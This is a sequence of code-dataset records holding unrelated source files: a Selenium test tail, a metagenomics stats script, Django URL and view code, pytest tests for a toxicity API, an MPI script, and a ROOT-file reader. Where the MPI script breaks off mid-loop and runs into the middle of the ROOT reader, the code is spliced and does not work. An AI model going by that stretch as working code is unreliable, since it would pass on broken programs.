contact_Us.enter_subject()\n contact_Us.enter_message()\n contact_Us.send_message()\n\n #Verify that the The e-mail address entered is invalid appears\n try:\n contact_Us.test_email()\n contact_Us.close()\n\n except:\n print(\"There is no warning about an invalid email address!\")\n break\n #Increment email row\n a += 1\n #Increment loop\n i += 1\n driver.quit()","repo_name":"mihajlo1985/MChallenge","sub_path":"Tests/test_Case1.py","file_name":"test_Case1.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26064253912","text":"from __future__ import print_function\nimport pandas as pd\nimport os\nimport click\nimport sys\nfrom collections import defaultdict\nimport scipy.stats\n\nmil = 1000000\nhund = 100\n\ndef print_stats(singCount, totCount, orphanCount, phlmDict):\n mmCount = round(totCount - singCount)\n cwd = os.getcwd()\n\n stText = \"\\n\\n\" + \\\n \"====================================================================================\\n\" + \\\n \"Number of Mapped reads {0}({1:.2f}M)\\n\".format(totCount, totCount/mil)+ \\\n \"\\n\\n\"+ \\\n \"============================ OUT OF MAPPED READS ===================================\\n\"+ \\\n \"Number of Singly Mapped reads: {0} ({1:.2f}M, {2:.2f}%)\\n\".format(singCount, singCount/mil, singCount*hund/totCount)+ \\\n \"Number of Multimapped reads: {0} ({1:.2f}M, {2:.2f}%)\\n\".format(mmCount, mmCount/mil, mmCount*hund/totCount)+ \\\n \"Number of Orphaned (Ignored)ALIGNMENTS (Should be significantly low): {}\\n\".format(orphanCount)+ \\\n \"====================================================================================\\n\\n\\n\\n\"\n\n filename = cwd + \"/report.txt\"\n with open(filename, 'w') as f:\n f.write(stText)\n\n with open(cwd+\"/dist.txt\", 'w') as f:\n for k,v in phlmDict.items():\n f.write(k+\",\"+str(v)+\"\\n\")\n\ndef get_algn(aln):\n return aln.split()[2]\n\ndef perform_counting(fname, id2phlm):\n with open(fname) as f:\n totCount = 0.0\n singCount = 0\n orphanCount = 0\n phlmDict = defaultdict(int)\n for aln in f:\n toks = aln.strip().split()\n if toks[0][0] == \"@\":\n continue\n #get mate of the read\n #mate_aln = f.next()\n\n # get number of alignments\n n_alns = int(toks[-1].replace(\"NH:i:\",\"\"))\n\n # for singly mapped reads only\n if n_alns == 1:\n # Increment the single count\n singCount += 1\n elif n_alns == 0:\n continue\n\n # count total Number of reads\n totCount += 1\n\n rId = get_algn(aln)\n\n # list of all alignments\n rIds = set([ id2phlm[ rId ] ])\n\n # Progress Monitoring\n if(round(totCount) % mil == 0):\n print (\"\\r Done reading {} Million reads from BAM....\".format(int(round(totCount)/1000000)), end=\"\")\n sys.stdout.flush()\n\n\n # iterate over all alignments\n for _ in range(1, n_alns):\n aln = f.next()\n\n rId = get_algn(aln)\n try:\n rIds.add(id2phlm[ rId ])\n except:\n print(aln)\n print(n_alns)\n exit(1)\n\n if len(rIds) == 1:\n phlmDict[list(rIds)[0]] += 1\n\n return singCount, totCount, orphanCount, phlmDict\n\ndef get_phlm_dict():\n id2phlm={}\n with open(\"/mnt/scratch2/avi/meta-map/kraken/meta/taxa.csv\") as f:\n for line in f:\n toks = line.strip().split(\",\")\n val = toks[0]\n for i in range(1, len(toks)):\n id2phlm[toks[i].strip(\">\")] = val\n return id2phlm\n\ndef get_correlation(phlmDict):\n with open(\"/mnt/scratch2/avi/meta-map/kraken/meta/truth_hc1.txt\") as f:\n truth = pd.read_table(f).set_index(\"species\").drop([\"taxid\",\"size\",\"dataset\"], 1)\n\n with open(\"/mnt/scratch2/avi/meta-map/kraken/meta/Huttenhower_HC1_Kraken.txt\") as f:\n krak = pd.read_table(f, header=None).set_index(4).drop([0,2,3],1)\n\n print (\"Truth Shape: # Reads(# phyla) {}({})\".format(truth.sum().values[0], truth.shape[0]))\n print (\"Kraken Shape: # Reads (# phyla) {}({})\".format(krak.sum().values[0], krak.shape[0]))\n print (\"Pufferfish Shape: # Reads (# phyla) {}({})\".format(sum(phlmDict.values()), len(phlmDict)))\n\n puff = pd.DataFrame(phlmDict.items(), columns=['Name', 'Puff']).set_index(\"Name\")\n\n trList = []\n puList = []\n krList = []\n for x in truth.index:\n trList.append( truth.loc[x].values[0] )\n krList.append( krak.loc[x].values[0] )\n flag = False\n for y,v in phlmDict.items():\n y = y.replace(\"_\", \" \")\n if x in y:\n puList.append(v)\n flag = True\n break\n if flag==False:\n puList.append(0)\n print (\"Kraken v Truth\")\n print (scipy.stats.spearmanr(krList, trList))\n print (\"Pufferfish v Truth\")\n print (scipy.stats.spearmanr(puList, trList))\n\n@click.command()\n@click.option('--sam', help='path for the sam file generated by pufmap')\ndef get_stats(sam):\n #get taxa dict\n id2phlm = get_phlm_dict()\n\n ## Parse the BAM and perform the counting\n singCount, totCount, orphanCount, phlmDict = perform_counting(sam, id2phlm)\n #phlmDict = {}\n get_correlation(phlmDict)\n ## Calculate the stats and print it\n print_stats(singCount, totCount, orphanCount, phlmDict)\n print (\"\\noutput written to {}\".format(os.getcwd()+\"/report.txt\"))\n\nif __name__==\"__main__\":\n get_stats()\n","repo_name":"k3yavi/meta-map","sub_path":"pipeline/get_mason_stats.py","file_name":"get_mason_stats.py","file_ext":"py","file_size_in_byte":5071,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"32054746646","text":"from django.conf.urls import include, url, patterns\n\nimport djcelery\n\nurlpatterns = patterns(\n '',\n url(\n r'events/',\n include('activity.events.urls', namespace='events')\n ),\n)# + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n\ndjcelery.setup_loader()\n","repo_name":"peterbe/activity","sub_path":"activity/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"20559771401","text":"import pytest\nimport requests\nimport sched, time\nimport http\nimport json\nfrom app import create_app\n\n@pytest.fixture()\ndef app():\n app = create_app()\n app.config.update({\n \"TESTING\": True,\n })\n\n yield app\n\n\n@pytest.fixture()\ndef client(app):\n return app.test_client()\n\n\n@pytest.fixture()\ndef runner(app):\n return app.test_cli_runner()\n\n \ndef test_responseIs200(client):\n url = \"/\"\n data = \"I love you\"\n response = send_request(url, data, client)\n print(response, response.data)\n assert response.status_code == 200\n\ndef send_request(url, data, client):\n j_data = json.dumps(data)\n print(j_data)\n headers = {'content-type': 'application/json', 'Accept-Charset': 'UTF-8'}\n r = client.post(url, data=j_data, headers=headers)\n return r\n\ndef test_correctAnswer_forToxicMessage(client):\n url = \"/\"\n data = \"I hate you\"\n response = send_request(url, data, client)\n responseList = json.loads(response.data)\n toxicityScore = float(responseList[\"toxicity\"])\n assert(toxicityScore > 0.9)\n \n","repo_name":"DataEngineeringFinalProject/DataEngineeringFinalProject","sub_path":"api/test_integration_app.py","file_name":"test_integration_app.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27451704726","text":"import numpy as np\nfrom mpi4py import MPI\nimport time\nimport random\ncomm = MPI.COMM_WORLD\nrank = comm.Get_rank()\nstatus = MPI.Status()\nsize = 3000\nnumberOfworkers=20\nnumberOfComp=3\nnumberOfIter=1000\npm=0\nw=1\nX = np.random.rand(size, size) * np.sqrt(1)\ncounter = 0\nprevRecvCounter=0\nlastTagCounter = 0\ntsleep = 0.006\np=0.2\n\ndef sendCheck(iterIndex, req):\n if iterIndex ==1:\n return True\n else:\n return MPI.Request.Test(req)\n\nif rank == pm:\n ts = time.time()\n placements=0\n message=np.zeros(1)\n tagVector = np.zeros(numberOfworkers)\n while counter ':\n vector_data[branch] = rt.std.vector('double')()\n root_object.SetBranchAddress(branch, rt.AddressOf(vector_data[branch]))\n data[branch] = {}\n else:\n data[branch] = np.zeros(number_of_entries)\n return vector_data, data\n\n\ndef fill_branch_entry(root_object, entry, branches, vector_data, data):\n '''Function to fill a branch array with the requested entry value'''\n for branch in branches:\n if isinstance(data[branch], dict):\n data[branch][entry] = np.array(vector_data[branch])\n else:\n value = getattr(root_object, branch)\n data[branch][entry] = value\n return data\n\n\ndef get_entries(root_object, branches, vector_data, data, entries):\n '''Function to actually get all the entries'''\n nEntries = len(entries)\n nTen = np.floor(nEntries/10)\n # Create alias\n getEntry = root_object.GetEntry\n for idx, entry in enumerate(entries):\n getEntry(entry)\n data = fill_branch_entry(root_object, idx, branches, vector_data, data)\n # Print a notification every N events\n if idx%nTen == 0:\n print('Grabbing entry Number {} ({} %)'.format(entry, round(100*idx/nEntries, 2)))\n # All entries are looped over here so return the data objectro\n return data\n\n\ndef fetch_branches(root_object, branches, entries=None):\n '''Function that will load branches based on specified root object and a list of branches\n We accomplish this by first creating storage arrays for the branches and then filling them\n root_object: This is a rt.TChain or rt.TTree object\n branches: A list of branch names to query from the root_object\n '''\n nEntries = root_object.GetEntries()\n if entries == -1:\n data = nEntries\n else:\n print('Starting ROOT entry grabbing. There are {} entries'.format(nEntries))\n if entries is None:\n entries = range(0, nEntries)\n else:\n if entries[0] >= nEntries:\n print('Minimum requested entry is larger than total number of entries: {} requested, {} available'.format(entries[0], nEntries))\n return None\n if entries[-1] >= nEntries:\n print('Maximum requested entry is larger than total number of entries: {} requested, {} available'.format(entries[-1], nEntries))\n return None\n # Construct data storage dictionaries\n vector_data, data = create_branch_arrays(root_object, branches=branches, number_of_entries=len(entries))\n # Now let us loop over all the entries in the object and fill the branches\n data = get_entries(root_object, branches, vector_data, data, entries=entries)\n # We have looped over all the entries for this particular root object and filled the requested branches into a numpy array.\n return data\n\n\ndef walk_branches(file_list, method, full_tree_name, branches, entries=None):\n '''Function that walks the branches\n In order to do this we must create the appropriate root object here (e.g., rt.TChain)\n '''\n root_object = get_root_object(file_list, method, full_tree_name, branches)\n data = fetch_branches(root_object, branches, entries=entries)\n return data\n\n\ndef walk_trees(file_list, method, directory_name, tree_dictionary, entries=None):\n '''A helper function to walk through the tree and get all the branches\n '''\n # Here directory_name is the current directory we are in\n # tree_dictionary = {Tree1: list of branches, Tree2: list of branches, ...}\n data_dictionary = {}\n print('The directory_name in walk_trees() is {}'.format(directory_name))\n for key, value in tree_dictionary.items():\n # key = tree name\n # value = list of branches in the tree\n if directory_name is not None:\n full_tree_name = directory_name + '/' + key\n else:\n full_tree_name = key\n data = walk_branches(file_list, method, full_tree_name=full_tree_name, branches=value, entries=entries)\n data_dictionary[key] = data\n return data_dictionary\n\n\ndef walk_a_directory(file_list, method, directory_name, directory_contents, full_directory, entries=None):\n '''A function to walk the contents of a specified TDirectory'''\n # Here directory_contents is a dictionary whose keys are any of 'TDirectory', 'TTree' or 'TBranch'\n data_dictionary = {}\n print('At the start of walk_a_directory the directory name is {} and the full directory is {}'.format(directory_name, full_directory))\n for key, value in directory_contents.items():\n if key == 'TDirectory':\n data = walk_directories(file_list, method, directory_dictionary=value, directory_prefix=full_directory, entries=entries)\n if key == 'TTree':\n # directory_contents[key] = {TTree: {Tree1: listofbranches, Tree2: listofbranches, ...}}\n # Each tree must be accessed as 'DirectoryName/Tree1' for example\n data = walk_trees(file_list, method, directory_name=full_directory, tree_dictionary=value, entries=entries)\n elif key == 'TBranch':\n # directory_contents[key] = {TBranch: listofbranches}\n # Not sure how to load these\n data = None\n data_dictionary.update(data)\n #directory_prefix=None #Reset here?\n return data_dictionary\n\n\ndef walk_directories(file_list, method, directory_dictionary, directory_prefix=None, entries=None):\n '''A helper function to walk through TDirectories\n The directory_dictionary has keys that are DirectoryNames\n '''\n # Our root_dictionary can specify a TDirectory that contains multiple trees. Each tree can contain multiple branches. When creating the TChain we must do it in the form\n # chain(\"TDirectory/TTree\") so this function should iterate over all TDirectories and call the TTree walker.\n data_dictionary = {}\n for directory_name, value in directory_dictionary.items():\n # Key is a DirectoryName\n # Value is a dictionary whose keys can be ['TTree' or 'TBranch']\n if directory_prefix is not None:\n full_directory = directory_prefix + '/' + directory_name\n else:\n full_directory = directory_name\n data = walk_a_directory(file_list, method, directory_name=directory_name, directory_contents=value, full_directory=full_directory, entries=entries)\n # root_dictionary['TDirectory'][directory] = {'TTree: {Tree1: list of branches, ..., Tree2: list of branches }, TBranch: list of branches}\n data_dictionary[directory_name] = data\n return data_dictionary\n\n\ndef get_tvector(input_files, read_method, directory_name, tobject):\n \"\"\"Read a TObject (TVector) from some directory path in the ROOT file.\"\"\"\n object_name = tobject if directory_name is None else directory_name + '/' + tobject\n tfile = get_root_object(input_files, method=\"single\", full_tree_name=None, branches=None)\n tvector = tfile.Get(object_name)\n if tvector.ClassName() == 'TVectorT':\n data = np.array(tvector)\n else:\n print(\"Requested object {} is not a TVectorT\".format(object_name))\n data = None\n return {object_name: data}\n\n\ndef readROOT_new(input_files, root_dictionary, read_method='chain', entries=None):\n \"\"\"A function to make loading data from ROOT files into numpy arrays more flexible.\n This function reads from an input root file\n The root_dictionary is a specially formatted dictionary of names, similar to the interface in writeROOT.\n root_dictionary = {'TDirectory': {DirectoryName1: {'TTree': {Tree1: [Branch1, Branch2, Branch3 ...], 'TBranch': [BranchA, BranchB, ...]} } }, 'TTree': {...} }\n As an example we can get a list of branch names in Dir/TreeA as follows:\n branches = root_dictionary['TDirectory'][Dir]['TTree'][TreeA]\n\n read_method defines if we are opening the TFile directly (single, deprecated) or using a TChain (chain).\n\n \"\"\"\n\n # The course of action depends if we are chaining or not\n # If we have a TChain note that these chain together *TREES* across files.\n # The standard format is to call the chain as \"dirName/treeName\"\n # Therefore we must iterate through as follows:\n # iterate_tdir --> iterate_ttree --> construct chain names --> get associated branches\n # So let's recreate the hiearchy as need be then I guess\n\n # root_dictionary.keys() can be any of ['TDirectory', 'TTree', or 'TBranch']\n\n if entries is not None:\n if isinstance(entries, (int, float)):\n entries = np.array([entries])\n elif getattr(entries, '__iter__') is None:\n print('Invalid type for entries. Must be an iterable list of entry numbers')\n return None\n data_dictionary = {}\n for key, value in root_dictionary.items():\n if key == 'TDirectory':\n # Here value is a dictionary whose keys are DirectoryNames\n data = walk_directories(input_files, read_method, directory_dictionary=value, entries=entries)\n if key == 'TTree':\n # Here value is a dictionary whose keys are TreeNames\n data = walk_trees(input_files, read_method, directory_name=None, tree_dictionary=value, entries=entries)\n if key == 'TBranch':\n # Here value is a list of branch names\n # TODO: How do we handle these? Can they exist?\n data = None\n if key == 'TVector':\n # Here we are loading a TVectorD from the data\n data = get_tvector(input_files, read_method, directory_name=None, tobject=value)\n data_dictionary.update(data)\n return data_dictionary\n\n\ndef readROOT(inFile, tree, branches, method='single', tobject=None, directory=None, info=None):\n '''Read in root file'''\n if isinstance(branches, str):\n branches = [branches]\n print('The method is: {}'.format(method))\n if method is 'chain':\n # TChain Method\n # fPrefix = '/Volumes/Lantea/data/CUORE0/OfficialProcessed_v02.30/ds2049/'\n # lof = rt.TString(fPrefix + 'background_Blinded_ds2049.list\")\n # lof = rt.TString('/Users/bwelliver/cuore/data/Blinded_200450_B.list')\n # lof = rt.TString('/Users/bwelliver/cuore/data/CUORE0/OfficialProcessed_v02.30/ds2070/background_Blinded_ds2070.list')\n # fileList = lof.Data()\n # lof = rt.TString('/Users/bwelliver/cuore/data/ds2160/physics_Production_ds2160.list')\n # Here inFile could be a specific list of files or a wildcard pattern\n tChain = rt.TChain(tree)\n print('The filelist is {0}'.format(inFile))\n if isinstance(inFile, list):\n for file in inFile:\n tChain.Add(file)\n else:\n tChain.Add(inFile)\n tDir = tChain.Get(directory) if directory else None\n tChain.SetBranchStatus('*', 0)\n # Need wildcard to set the whole thing active or you get segfaults\n for branch in branches:\n tChain.SetBranchStatus(branch, 1)\n # We should use an entrylist to get events. I should find out if there is a more Pythonic way to do this though...\n nEntries = tChain.GetEntries()\n #tChain.Draw(\">>eventlist\", \"DAQ@PulseInfo.fChannelId==\" + str(int(ch)))\n #from ROOT import eventlist\n getEv = tChain.GetEntry\n tTree = None\n elif method == 'single':\n # Single file mode\n tFile = rt.TFile.Open(inFile)\n tDir = tFile.Get(directory) if directory else None\n tTree = tFile.Get(tree) if tree else None\n print('TTree is {}'.format(tTree))\n if tTree is not None:\n tTree.SetBranchStatus('*', 0)\n # Need wildcard to set the whole thing active or you get segfaults\n for branch in branches:\n tTree.SetBranchStatus(branch, 1)\n nEntries = tTree.GetEntries()\n # tdir.Draw(\">>eventlist\", \"DAQ@PulseInfo.fChannelId==\" + str(int(ch)))\n # from ROOT import eventlist\n getEv = tTree.GetEntry\n\n # Here on out we are invariant to single file or chain mode\n # Grab any info from the directory specified.\n if method == 'chain':\n obj = tChain\n elif tTree is not None:\n obj = tTree\n else:\n obj = None\n infoList = None\n if tDir is not None:\n keys = tDir.GetListOfKeys()\n keyList = [key.GetName() for key in keys]\n keyList.sort()\n # Check all members of info are in keyList\n validInfo = list(set(info) & set(keyList)) if info else keyList\n if info != validInfo:\n print('The following items are not found in the ROOT file: {0}'.format(list( set(info) - set(validInfo) )))\n if len(validInfo) > 0:\n infoList = [tDir.Get(key).GetTitle() for key in validInfo]\n else:\n infoList = None\n del tDir\n # Beaware that chain mode can result in file sizes that are super-big\n # nEvent_list = eventlist.GetN()\n if obj is not None:\n print('Starting ROOT entry grabbing. There are {0} entries'.format(nEntries))\n nTen = np.floor(nEntries/10)\n npData = {}\n vectorDict = {}\n for branch in branches:\n # print('The branch name is: {}'.format(branch))\n tBranch = obj.GetBranch(branch)\n # print('The branch object is: {}'.format(tBranch))\n # print('The class name: {}'.format(tBranch.GetClassName()))\n if tBranch.GetClassName() == 'vector':\n # Create std vector double. It is SUPER important that we pass the ADDRESS OF THE POINTER TO THE VECTOR AND NOT THE ADDRESS OF THE VECTOR!!!!!\n # NOTE: If you just make var = rt.std.vector('double')() and the address of that in each loop, python WILL point to the same vector each time\n # The net result is a frustrating time trying to figure out WHY your vectors are the same. >:(\n vectorDict[branch] = rt.std.vector('double')()\n #pt = rt.std.vector('double')()\n obj.SetBranchAddress(branch, rt.AddressOf(vectorDict[branch]))\n #obj.SetBranchAddress(branch, vectorDict[branch])\n npData[branch] = {}\n else:\n npData[branch] = np.zeros(nEntries)\n for entry in range(nEntries):\n #st = time.time()\n getEv(entry)\n #et = time.time()\n #print('entry getting time is: {}'.format(et-st))\n for branch in branches:\n if isinstance(npData[branch], dict):\n #st = time.time()\n npData[branch][entry] = np.array(vectorDict[branch].data())\n #et = time.time()\n #print('Vector to np array conversion time: {}'.format(et-st))\n else:\n data = getattr(obj, branch)\n npData[branch][entry] = data\n# data = getattr(obj, branch)\n# # data could be a scalar or it could be an array\n# if isinstance(data, rt.vector('double')):\n# # Here npData is a dictionary with key branch and value dictionary\n# # The subdictionary has key entry and value array\n# # It is vitally important that the ORDER be preserved! Use an ordered dict\n# npData[branch][entry] = np.array(pt)\n# else:\n# npData[branch][entry] = data\n # Print a notification every N events\n #print(entry)\n #if entry == 1000:\n # return None\n if entry%nTen == 0:\n if (entry == 100):\n return None\n print('\\tGrabbing entry Number {0} ({1} %)'.format(entry, round(100*entry/nEntries,2)))\n elif tobject is not None:\n # For now this is to load a TVector object to a numpy vector\n tObject = tFile.Get(tobject)\n if tObject.ClassName() == 'TVectorT':\n npData = {tobject: np.array(tObject)}\n # Destroy chain and other things\n if tTree is not None:\n del getEv\n del obj\n if method is 'chain':\n del tChain\n else:\n del tTree, tFile\n return {'data': npData, 'info': infoList}\n\n","repo_name":"bwelliver/pyTES","sub_path":"readROOT.py","file_name":"readROOT.py","file_ext":"py","file_size_in_byte":18662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74802122803","text":"from django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponse\nfrom django.urls import reverse\nfrom django.conf import settings\nfrom django.utils.decorators import method_decorator\nfrom django.views.generic import ListView\nfrom django.db.models import Avg, Max, Min, Sum\nfrom enquiry.forms import SupplierTransForm, FindDateForm\n\nfrom datetime import datetime, date\n\nfrom common.models import (PoHeaders, PoLines, PoGrnHeaders, PoGrnLines)\nfrom common import (commonutil,sysutil)\nfrom django import forms\n\n#Create your form here\nPO_GRN_HEADERS_COLUMNS=[\n 'supplier_name_disp','supplier_address','delivery_note_ref','delivery_date','received_date','grn_date',\n 'po_number','grn_number','po_date','grn_status','grnuser_name_disp','grn_status_date','currency_code',\n 'billto_location_disp','shipto_location_disp','shipto_location_address','container_id',\n 'containers_by_weight','containers_by_volume','terms1','terms2','attribute1','attribute2',\n 'trans_category','orig_system_ref','ext_po_reference','update_stock','po_header_id',\n 'grn_id','sup_supplier_id','net_total','vat_total','carriage_total','discount_total','gross_total',\n 'weight_total','volume_total','ingredient_total','total_net_weight','bu_id','container_name',\n 'grn_user_id','shipto_location_id','billto_location_id',]\nPO_GRN_HEADERS_LABEL=[\n 'Supplier','Supplier Address','Delivery Note ','DeliverDate ','Received On ','GRN Date','PO #',\n 'GRN #','PO Date','Status','User','Status Date','Currency ','Bill To Location','Location',\n 'Ship To Address','Container ',' By Weight',' By Volume','Terms1',\n 'Terms2','Free Text1','Free Text2','Category','Orig Sys Ref','Ext PO Ref',\n 'Update Stock ? ','PO ID','GRN ID','Sup Supplier Id','Net Total',\n 'Vat Total','Carriage Total','Discount Total','Gross Total','Weight Total',\n 'Volume Total','Ingredient Total','Total Net Weight','Bu Id','Container Id',\n 'Buyer Id','Shipto Location Id','Billto Location Id',]\n\nPO_GRN_LINES_COLUMNS=[\n 'po_header_id','tax_code_id','item_id','bu_id','po_line_id','line_type',\n 'sl_no','item_name','item_number','grn_line_desc','grn_line_notes','un_approved_sub_loc_disp',\n 'sub_location_disp','reason_for_rejection','rejection_sublocation_disp','discount_price',\n 'tax_rate','tax_price','net_price','case_size','exchange_rate','qty_difference','reason_for_difference',\n 'sup_product_code','net_ingredient','qty_instock','grn_status','volume_total','weight_total',\n 'ingredient_total','qty_reserved','unit_cp','case_cp','qty_ordered_units','qty_balance',\n 'qty_delivered_units','qty_ordered_cases','qty_delivered_cases','qty_received_units',\n 'qty_rejected','qty_received_cases','gross_unit_weight','unit_volume','min_qty','max_qty',\n 'reorder_qty','qty_inorder','purchaseable','saleable','stockable','pgh_grn_id','grn_line_id','rejection_update_stock']\nPO_GRN_LINES_LABEL=[\n 'Poh Po Header Id','Tax Code Id','Item Id','Bu Id','Po Line Id','Line Type','Sl No','Item Name','Item Number',\n ' Line Description',' Line Notes','Un-Approved Sub Location','Approved Sub Location','Rejected Reasons',\n 'Rejection Sub Location','Discount Price','Tax Rate','Tax Price','Net Price','Case Size',\n 'Exchange Rate','Diff Qty (units)','Difference Reason','Supplier Code','Net Ingredient','Qty Instock',\n 'Order Status','Volume Total','Weight Total','Ingredient Total','Qty Reserved','Unit CP','Case CP','Ordered','Balance','Delivered',\n 'Qty Cases','Qty Cases','Received','Rejected ','Qty Cases','Gross Unit Weight',\n 'Unit Volume','Min','Max','ReorderQty','In Order','Pur?','Sell?','Stock?','Po Header Id',\n 'Po Header Id','Rej Upd Stk']\n\n\nclass GrnHeaderForm(forms.ModelForm):\n\n class Meta:\n model = PoGrnHeaders\n fields = '__all__'\n #PO_HEADERS_COLUMNS\n #exclude = ['bu_id','buyer_id','customer_id','sub_location_id','container_id','po_header_id']\n #exclude = ('customer_id','sub_location_id','shipfrom_location_id','invoice_header_id','payto_location_id')\n\n\n def __init__(self, *args, **kwargs):\n super(GrnHeaderForm, self).__init__(*args, **kwargs)\n for key in self.fields.keys():\n self.fields[key].widget.attrs['readonly'] = True\n\nclass PoSumForm(FindDateForm, SupplierTransForm, ):\n\n available_fields = forms.CharField(max_length=30,required=False,initial=\"\",label='Available Fields',\n widget=forms.Select(attrs=sysutil.DISPLAY_FIELD_WIDTH['large'],\n choices=commonutil.choice_modelcharfields(PoGrnHeaders)))\n\n field_contains = forms.CharField(max_length=30,label='Field Contanis',required=False,\n widget=forms.TextInput(attrs=sysutil.DISPLAY_FIELD_WIDTH['large']))\n def __init__(self, hiddenfields:[]=[], *args, **kwargs):\n super(PoSumForm, self).__init__(*args, **kwargs)\n if len(hiddenfields) > 0:\n for hf in hiddenfields:\n self.fields[hf].widget = forms.HiddenInput()\n\n# Create your views here.\n\n\nPAGE_VAR = 14\nREVERSE = 'enquiry:grnsum'\n\n# Create your views here.\n\n\n@method_decorator(login_required, name='dispatch')\nclass GrnSumView(ListView):\n model = PoGrnHeaders\n template_name = 'enquiry/grnsum.html'\n paginate_by = PAGE_VAR\n context_object_name = 'rows'\n getvars = {}\n inputparams = {}\n queryparams = {}\n linequery = {}\n emptysearch = True\n invlines = None\n pmntlines = None\n totals = {}\n rowset2_totals ={}\n child1 = None\n child2 = None\n\n def get(self, request, *args, **kwargs):\n for key,value in self.request.GET.items():\n if key != 'csrfmiddlewaretoken':\n self.inputparams[key] = value\n print('params', self.inputparams)\n self.initial = self.inputparams\n return super(GrnSumView, self).get(request, *args, **kwargs)\n\n def post(self, request, *args, **kwargs):\n return self.form_invalid(self.form, **kwargs)\n\n def get_initial(self):\n print('inital:', self.initial)\n return self.initial\n\n def get_form_kwargs(self):\n print('******* fprm kwargs')\n kwargs = super(GrnSumView, self).get_form_kwargs()\n kwargs['hiddenfields'] = []\n return kwargs\n\n def get_success_url(self):\n print('******* get success url')\n return reverse(REVERSE)\n\n def form_invalid(self, form, **kwargs):\n print('******* form valid')\n context = self.get_context_data(**kwargs)\n return self.render_to_response(context)\n\n def form_valid(self, form, **kwargs):\n print('******* form valid')\n context = self.get_context_data(**kwargs)\n return self.render_to_response(context)\n\n def get_queryset(self, *args, **kwargs):\n print('******* get queryset')\n queryset = super().get_queryset()\n self.queryparams = {}\n self.detailform = None\n commonutil.filter_add(self.queryparams,'grn_number',\n commonutil.get_key_value(self.inputparams,'grn_number'),'exact')\n commonutil.filter_add(self.queryparams,'sup_supplier_id__supplier_number',\n commonutil.get_key_value(self.inputparams,'supp_number'),'exact')\n commonutil.filter_add(self.queryparams,'grn_status',\n commonutil.get_key_value(self.inputparams,'order_status'),'icontains')\n commonutil.filter_add(self.queryparams,'grn_id',\n commonutil.get_key_value(self.inputparams,'grn_id'),'')\n commonutil.filter_add(self.queryparams,'sup_supplier_id__supplier_id',\n commonutil.get_key_value(self.inputparams,'supplier'),'')\n commonutil.filter_add(self.queryparams,'sup_supplier_id__supplier_id',\n commonutil.get_key_value(self.inputparams,'supplier_id'),'')\n commonutil.filter_date_range(self.queryparams,'grn_status_date',\n commonutil.get_key_value(self.inputparams,'date_from'),\n commonutil.get_key_value(self.inputparams,'date_to') ,'str')\n commonutil.filter_add(self.queryparams,commonutil.get_key_value(self.inputparams,'available_fields'),\n commonutil.get_key_value(self.inputparams,'field_contains'),'icontains')\n if not self.queryparams:\n print('empty querying',self.queryparams)\n return self.model.objects.none()\n else:\n print('querying',self.queryparams)\n qs = queryset.filter(**self.queryparams)\n qs = qs.order_by('-grn_status_date','grn_number')\n self.totals = qs.aggregate(net_total=Sum('net_total'),\n vat_total=Sum('vat_total'),\n gross_total=Sum('gross_total'),\n weight_total=Sum('weight_total'),\n volume_total=Sum('volume_total'),\n ingredient_total=Sum('ingredient_total')\n )\n if len(qs) == 1:\n detailinstance = qs[0]\n self.detailform = GrnHeaderForm(instance=detailinstance)\n parentid = detailinstance.po_header_id\n self.child1 = PoGrnLines.objects.filter(pgh_grn_id__grn_id=parentid).order_by('pgh_grn_id__grn_id','sl_no')\n self.rowset2_totals = self.child1.aggregate(\n qty_delivered_units=Sum('qty_delivered_units'),\n qty_delivered_cases=Sum('qty_delivered_cases'),\n qty_received_units=Sum('qty_received_units'),\n qty_ordered_cases=Sum('qty_ordered_cases'),\n qty_received_cases=Sum('qty_received_cases'),\n qty_rejected=Sum('qty_rejected'),\n weight_total=Sum('weight_total'),\n volume_total=Sum('volume_total'),\n net_price=Sum('net_price'),\n tax_price=Sum('tax_price'))\n self.object_list = qs\n return qs\n\n def download_csv(self):\n csvdata = commonutil.download_csv(self.request, self.object_list)\n response = HttpResponse(csvdata, content_type='text/csv')\n return response\n\n def get_context_data(self, **kwargs):\n print('******* get context')\n # Call the base implementation first to get a context\n context = super().get_context_data(**kwargs)\n # Add local context\n self.form = PoSumForm(initial=self.initial)\n context['form'] = self.form\n if self.object_list:\n context['tabletitle'] = 'Goods In'\n context['rowset_totals'] = self.totals\n context['rows_tableheader'] =\"\"\" \n Number\n Date\n Status\n Supplier \n Location \n PO \n Net \n Vat\n Gross\n Weight\n Volume\n Ingredient\"\"\"\n context['rows_tablecolumns'] = \"\"\" \n {{row.grn_number}}\n {{row.grn_status_date|date:\"SHORT_DATE_FORMAT\" }}\n {{row.grn_status }}\n {{row.sup_supplier_id.supplier_name }}\n {{row.shipto_location_id.location_name }}\n {{row.po_header_id}}\n {{row.net_total }}\n {{row.vat_total }}\n {{row.gross_total }}\n {{row.weight_total }}\n {{row.volume_total }}\n {{row.ingredient_total }}\n \"\"\"\n context['rows_tablefooter'] =\"\"\" \n Total\n \n \n \n \n {{row.net_total }}\n {{row.vat_total }}\n {{row.gross_total }}\n {{row.weight_total }}\n {{row.volume_total }}\n {{row.ingredient_total }}\n \"\"\"\n if self.child1:\n context['tabletitle2'] = 'Goods In Lines'\n context['rowset2'] = self.child1\n context['rowset2_totals'] = self.rowset2_totals\n context['rowset2_tableheader'] =\"\"\" \n ID\n Sl No \n Item Number \n Item Name\n Sub Location\n Case Size \n Unit CP \n Case CP \n Tax Rate \n Ordered\n Delivered \n Received \n Rejected \n Rej Diff \n Rej Reason \n Net Price \n Tax Price \n Weight Total \n Volume Total \n \"\"\"\n context['rowset2_tablecolumns'] = \"\"\" \n {{ row2.grn_line_id }}\n {{ row2.sl_no }}\n {{ row2.item_id.item_number }}\n {{ row2.item_name }}\n {{ row2.sub_location_id.sub_location }}\n {{ row2.case_size }}\n {{ row2.unit_cp }}\n {{ row2.case_cp }}\n {{ 